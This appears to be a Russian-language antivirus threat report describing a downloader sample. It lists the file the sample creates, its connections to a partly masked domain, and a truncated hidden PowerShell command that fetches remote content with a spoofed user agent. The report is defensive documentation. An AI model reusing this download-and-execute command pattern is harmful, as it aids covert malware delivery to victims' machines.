Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\scan-070424.png
Сетевая активность
Подключается к
- 'sk######nie-failov24.com':443
TCP
Другие
- 'sk######nie-failov24.com':443
UDP
- DNS ASK sk######nie-failov24.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c <SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe -exec bypass -nop -windowstyle hidden -command "& {$client=new-object system.net.webclient;$client.Headers['User-Agent']='Mozilla/5.0 (Window...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c <SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe -exec bypass -nop -windowstyle hidden -command "& {$client=new-object system.net.webclient;$client.Headers['User-Agent']='Mozilla/5.0 (Window...
